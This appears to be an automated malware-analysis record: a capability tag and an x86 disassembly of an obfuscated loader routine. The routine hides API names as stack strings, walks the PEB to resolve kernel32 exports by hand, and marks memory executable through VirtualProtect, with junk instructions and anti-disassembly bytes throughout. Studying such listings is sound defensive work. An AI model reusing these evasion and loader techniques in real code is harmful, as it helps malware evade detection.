Function at 0x4387c3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add esp, 4
pop eax
push edx
push edi
add esp, 4
jmp 0x438007
add edx, 0x9e76
jmp 0x438016
pop edx
mov dword [ebp - 0x738], 0
jmp 0x438710
push ebx
xor ebx, 0x405a
or ebx, 0x2ca3
xor ebx, 0x15d77
pop ebx
push edx
push edx
add esp, 4
and edx, 0x160a3
pop edx
push esi
push eax
add esp, 4
add esi, 0xca7b
jmp 0x438741
pop esi
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push eax
and eax, 0x11e7e
pop eax
push edx
and edx, 0x1463
add edx, 0x3e18
sub edx, 0x89ef
jmp 0x438774
pop edx
push ebx
and ebx, 0x1afc
or ebx, 0x12b47
pop ebx
cmp dword [ebp - 0x3cc], 0
je 0x438795
cmp dword [ebp - 0xa5c], 0
jne 0x4387db
push edx
sub edx, 0x38d9
pop edx
push edi
call 0x4387ad
add byte [edx], dh
aas
inc edi
xor eax, dword [edi + 0x39]
inc edi
cmp al, 0x36
add esp, 4
pop edi
push edi
push ecx
add esp, 4
call 0x4387c3
add byte [esi], bh
aaa
dec esp
inc edi
cmp dword [edx], edi
add esp, 4
pop edi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edx
push edx
add esp, 4
or edx, 0x339d
pop edx
push eax
and eax, 0xe457
sub eax, 0x180d1
and eax, 0xfa
pop eax
push ecx
push edx
add esp, 4
sub ecx, 0xe538
jmp 0x438816
pop ecx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ecx
sub ecx, 0x96c1
sub ecx, 0x2853
or ecx, 0xf0b8
jmp 0x43885d
pop ecx
push eax
and eax, 0x11c52
xor eax, 0x4e40
pop eax
push esi
and esi, 0xb49f
pop esi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push eax
push esi
add esp, 4
add eax, 0x21c9
pop eax
push ecx
call 0x4388f8
add byte [eax + 0x4d], al
dec ebx
inc ebp
inc ebp
inc edi
inc edx
cmp eax, dword [ebx + 0x515904c4]
push eax
add esp, 4
jmp 0x438906
pop ecx
push ebx
xor ebx, 0x6bea
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push eax
push edi
add esp, 4
xor eax, 0xd8fc
xor eax, 0x11dc
add eax, 0x18a5
pop eax
push edi
sub edi, 0xe9b8
add edi, 0x12666
pop edi
push edx
push ecx
add esp, 4
and edx, 0x150ef
pop edx
cmp dword [ebp - 0x150c], 0
jne 0x438980
mov dword [ebp - 0x2a8], 0
jmp 0x438c27
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push esi
sub esi, 0x7daf
and esi, 0x110a1
jmp 0x4389a5
call 0x4389b2
add byte [ebp + ecx*2 + 0x45], cl
cmp al, 0x4e
dec ebp
inc ecx
add esp, 4
pop esi
push ebx
add ebx, 0x57d7
xor ebx, 0xd466
pop ebx
cmp dword [ebp - 0xc4c], 0
jne 0x4389dc
mov dword [ebp - 0x2a8], 0
jmp 0x438c27
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ecx
push eax
add esp, 4
jmp 0x4389f4
and ecx, 0x16205
pop ecx
push ecx
push eax
add esp, 4
call 0x438a10
add byte [edx], bh
dec edi
dec ecx
inc ebx
dec ebx
dec edx
dec esp
inc esp
dec eax
push eax
add esp, 4
or ecx, 0xf781
pop ecx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push esi
jmp 0x438a4e
jmp 0x438a53
pop esi
push esi
xor esi, 0x164f9
pop esi
push esi
push esi
add esp, 4
add esi, 0xc7df
jmp 0x438a6f
xor esi, 0x4bbc
pop esi
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push ebx
or ebx, 0x1647b
pop ebx
push ebx
push ebx
add esp, 4
or ebx, 0x3210
pop ebx
push edi
push ecx
add esp, 4
or edi, 0xbe0e
and edi, 0x1852e
and edi, 0xd290
and edi, 0xa46
pop edi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x438b1c
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x438b76
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x438a44
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x438a44
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x438b60
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x438b6a
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x438bbf
push esi
push edx
add esp, 4
sub esi, 0x1410a
pop esi
push ebx
push eax
add esp, 4
and ebx, 0x10c34
and ebx, 0x4ca
add ebx, 0x7c1d
xor ebx, 0xefbe
pop ebx
push edx
sub edx, 0xc01f
pop edx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x438c27
push eax
and eax, 0x28a3
or eax, 0xc46e
xor eax, 0xf11a
pop eax
push edx
push ebx
add esp, 4
and edx, 0xbb19
xor edx, 0x10e7a
and edx, 0x14d95
sub edx, 0xe815
pop edx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x438c1d
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x4389e8
mov dword [ebp - 0x2a8], 0
push esi
push edx
add esp, 4
and esi, 0x16a2f
add esi, 0x8b77
pop esi
push edi
or edi, 0x115ee
pop edi
push ebx
push edx
add esp, 4
and ebx, 0x8f65
add ebx, 0x6cc8
sub ebx, 0x2a4
pop ebx
cmp dword [ebp - 0x2a8], 0
jne 0x43955e
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
push edi
add esp, 4
xor ecx, 0xc671
add ecx, 0x10a64
and ecx, 0xfe89
and ecx, 0xe060
pop ecx
push ebx
xor ebx, 0x1724d
sub ebx, 0xfbab
or ebx, 0x15616
pop ebx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push esi
push edx
add esp, 4
xor esi, 0x11ba5
call 0x438dcb
add byte [esi], bh
aas
push eax
inc edi
dec esp
push eax
add esp, 4
pop esi
push edi
sub edi, 0x222b
jmp 0x438ddd
pop edi
push eax
or eax, 0x7ebe
pop eax
cmp dword [ebp - 0x1518], 0
jne 0x438dfe
mov dword [ebp - 0x710], 0
jmp 0x4390a5
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ecx
push esi
add esp, 4
jmp 0x438e1d
sub ecx, 0x952a
or ecx, 0x54c3
pop ecx
push edx
push edi
add esp, 4
add edx, 0x107cd
and edx, 0xa164
or edx, 0xff3e
pop edx
cmp dword [ebp - 0xc58], 0
jne 0x438e5a
mov dword [ebp - 0x710], 0
jmp 0x4390a5
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edx
call 0x438e77
add byte [ebx + 0x40], cl
xor eax, dword [ecx + 0x49]
dec edi
inc edi
inc esi
cmp eax, dword [ebx - 0xd7efb3c]
mov sp, 0
pop edx
push ecx
xor ecx, 0x840b
jmp 0x438e91
or ecx, 0x36e4
pop ecx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ecx
push esi
add esp, 4
or ecx, 0x4dd8
or ecx, 0x14e0d
pop ecx
push edi
push eax
add esp, 4
xor edi, 0x232c
or edi, 0x975a
pop edi
push ecx
or ecx, 0x4c0b
or ecx, 0x52af
pop ecx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ecx
push ebx
add esp, 4
xor ecx, 0x1caa
or ecx, 0x17f1c
and ecx, 0xe668
add byte [eax], al
and ecx, 0xa70c
pop ecx
push edi
and edi, 0xe9e5
and edi, 0x1175b
or edi, 0x11d0b
pop edi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x438f9a
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x438ff4
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x438ec2
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x438ec2
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x438fde
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x438fe8
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x43903d
push ecx
add ecx, 0xedce
sub ecx, 0x653
and ecx, 0x18471
pop ecx
push ecx
push esi
add esp, 4
xor ecx, 0x15b48
call 0x43902b
add byte [edi], dh
inc ebx
cmp byte [edx + esi], bh
inc edi
cmp byte [edi - 0x7d], cl
les eax, [ecx + ebx*2]
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x4390a5
push edx
add edx, 0x37ca
xor edx, 0x101f3
pop edx
push ebx
push ecx
add esp, 4
xor ebx, 0x1881
or ebx, 0x142d7
pop ebx
push edi
push ecx
add esp, 4
and edi, 0x3c6b
sub edi, 0xe927
pop edi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x43909b
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x438e66
mov dword [ebp - 0x710], 0
push ebx
xor ebx, 0x11467
add ebx, 0xba52
add ebx, 0x53
pop ebx
push ecx
push ebx
add esp, 4
or ecx, 0xa783
pop ecx
push eax
push eax
add esp, 4
sub eax, 0x15ab3
and eax, 0x5765
pop eax
cmp dword [ebp - 0x710], 0
jne 0x439121
push esi
push ebx
add esp, 4
sub esi, 0x1814
add esi, 0xf545
pop esi
push esi
add esi, 0x148e9
xor esi, 0x13606
jmp 0x439108
pop es
jmp 0x439111
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x439c49
push edi
push eax
add esp, 4
or edi, 0x17482
or edi, 0xe61f
pop edi
push edx
xor edx, 0x6155
or edx, 0xb5e5
or edx, 0x3c43
pop edx
push ecx
push ecx
add esp, 4
and ecx, 0x7d78
pop ecx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x439192
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x439483
add byte [eax], al
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x4391ba
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x439483
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x4391ec
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x439483
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x439211
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x439483
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
dec dword [ebx - 0x2ff6b]
inc dword [ebx]
push ecx
sbb al, 0x89
xchg ebp, eax
sbb bh, ah
invalid
inc edi
mov dword [ebp - 0x718], 0
jmp 0x43926b
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x439477
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x4392db
lea edx, [edi]
invalid
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x43938d
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x43938d
push ebx
push eax
add esp, 4
call 0x43931b
add byte [ebx], dh
dec ebx
dec ebx
dec eax
dec edx
xor al, byte [edx + 0x33]
add esp, 4
or ebx, 0x14693
call 0x439330
add byte [ecx + 0x35], cl
aaa
dec ebp
xor cl, byte [edx - 0x7d]
les eax, [ecx + eax*4]
jecxz 0x4392bb
sub eax, 0x8b5b0001
invalid
push esi
push esi
add esp, 4
add esi, 0x9029
add esi, 0x130a6
add esi, 0xb8df
pop esi
push edx
sub edx, 0x179f6
pop edx
push edi
push eax
add esp, 4
sub edi, 0xcdff
add edi, 0xd6b8
pop edi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x4393ec
mov dword [ebp - 0xc5c], 0
jmp 0x43945b
push edi
push esi
add esp, 4
or edi, 0x11e60
and edi, 0x8e8b
sub edi, 0x58ff
pop edi
push edx
or edx, 0x81eb
or edx, 0x17571
add edx, 0x90d
xor edx, 0x13575
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x439451
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x43945b
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x439472
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x439483
jmp 0x43925c
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x43955e
push esi
or esi, 0x1366a
call 0x4394a6
add byte [esi + ecx*2 + 0x32], al
cmp bh, byte [ecx]
inc edx
aaa
dec esp
cmp al, 0x83
les eax, [esi + ebx*2]
push ecx
push esi
add esp, 4
or ecx, 0x17dee
and ecx, 0x34d0
jmp 0x4394c1
pop ecx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edi
call 0x4394de
add byte [ebx + 0x37], cl
aaa
dec eax
cmp dword [ebp + 0x3b], ecx
inc edx
xor eax, 0x8104c483
out 0x88, eax
push esp
add byte [eax], al
call 0x4394f5
add byte [edx + 0x38], al
inc esi
inc edi
inc ebx
cmp ecx, dword [ebp - 0x7d]
les eax, [ebx + ebp*8]
add eax, 0x324e3634
inc ebp
pop edi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x43955e
push eax
push edi
add esp, 4
sub eax, 0x150e2
jmp 0x43952e
jmp 0x439536
pop eax
push ecx
push eax
add esp, 4
xor ecx, 0x5468
add byte [eax], al
sub ecx, 0xced3
sub ecx, 0x49d0
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x439c49
push ecx
sub ecx, 0x14c24
pop ecx
push eax
push esi
add esp, 4
add eax, 0x36e5
sub eax, 0xb7bf
pop eax
push ecx
push ebx
add esp, 4
xor ecx, 0x4774
jmp 0x439589
xor ecx, 0x9800
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push esi
call 0x4395c6
add byte [ebp + 0x38], al
dec esp
dec esp
xor eax, 0xc4834936
add al, 0x81
out 0xd6, al
adc al, byte [ecx]
add byte [ecx + 0xff6af6], al
add byte [esi + 0x57], bl
and edi, 0x1d1a
or edi, 0x7065
add edi, 0x73ec
pop edi
cmp dword [ebp - 0x1574], 0
jne 0x439602
mov dword [ebp - 0x2a8], 0
jmp 0x4398a9
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ecx
or ecx, 0x2ed2
jmp 0x439622
and ecx, 0x8a39
pop ecx
push ecx
and ecx, 0x208
sub ecx, 0x116fa
sub ecx, 0xcd0e
jmp 0x439645
pop ecx
cmp dword [ebp - 0xc68], 0
jne 0x43965e
mov dword [ebp - 0x2a8], 0
jmp 0x4398a9
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ebx
push ebx
add esp, 4
call 0x43967e
add byte [0x40414237], bh
aaa
inc edi
xor al, 0x44
add esp, 4
pop ebx
push ecx
push eax
add esp, 4
sub ecx, 0x53d
add ecx, 0x5ea3
pop ecx
push esi
and esi, 0xde66
pop esi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edx
xor edx, 0x9c28
xor edx, 0x680b
sub edx, 0x16ea3
pop edx
push edi
push edx
add esp, 4
add edi, 0xaa0f
and edi, 0x110b6
xor edi, 0xedeb
xor edi, 0xed19
pop edi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push esi
push esi
add esp, 4
add esi, 0xf67
xor esi, 0x2740
push ebx
jmp 0x4398b3
jmp 0x4398bb
add ebx, 0xe95e
pop ebx
push ecx
xor ecx, 0xc85f
add ecx, 0xbb49
xor ecx, 0xf8dd
jmp 0x4398da
pop ecx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push eax
xor eax, 0x1ed3
call 0x4398fd
add byte [eax + 0x40], dl
dec edi
inc edx
cmp al, 0x4f
add esp, 4
jmp 0x439909
and eax, 0xd79a
pop eax
push edx
push edi
add esp, 4
or edx, 0x16a3b
pop edx
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x43994c
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x439c3d
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x439974
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x439c3d
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x4399a6
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x439c3d
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x4399cb
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x439c3d
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x439a25
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x439c31
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x439a95
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x439b47
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x439b47
push eax
push ebx
add esp, 4
sub eax, 0xb0c3
and eax, 0x47d0
add eax, 0x8d8a
pop eax
push edi
jmp 0x439ae1
xor edi, 0x110a0
sub edi, 0xaac1
or edi, 0xbf7e
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x439b39
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x439b40
jmp 0x439a86
jmp 0x439b47
push esi
add esi, 0x1245b
or esi, 0x6d7a
or esi, 0xe37f
sub esi, 0xa4b
pop esi
push ecx
jmp 0x439b6a
xor ecx, 0x567b
pop ecx
push edi
or edi, 0xce29
pop edi
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x439ba6
mov dword [ebp - 0xc6c], 0
jmp 0x439c15
push edx
sub edx, 0x211
sub edx, 0xe190
pop edx
push eax
push esi
add esp, 4
jmp 0x439bc0
call 0x439bce
add byte [esi + 0x43], al
inc ecx
cmp al, 0x41
dec ebp
aas
add esp, 4
add eax, 0x10dfb
pop eax
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x439c0b
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x439c15
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x439c2c
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x439c3d
jmp 0x439a16
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push esi
sub esi, 0x1460
sub esi, 0xd8c4
add esi, 0x12fe8
call 0x439c69
add byte [esp + esi + 0x4e], cl
dec esi
cmp eax, 0xc4833f41
add al, 0x5e
push ecx
push esi
add esp, 4
jmp 0x439c7a
pop ecx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x439cee
push ecx
xor ecx, 0x12c0d
xor ecx, 0x2322
xor ecx, 0xf4a3
and ecx, 0x12b75
pop ecx
push ecx
push edx
add esp, 4
and ecx, 0x5640
sub ecx, 0x126af
add ecx, 0x1565a
pop ecx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x439d0b
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x439d67
push eax
push ecx
add esp, 4
jmp 0x439d24
xor eax, 0x113f3
xor eax, 0x113ae
pop eax
push esi
sub esi, 0xecfc
or esi, 0x727
sub esi, 0x157e4
xor esi, 0x56cd
pop esi
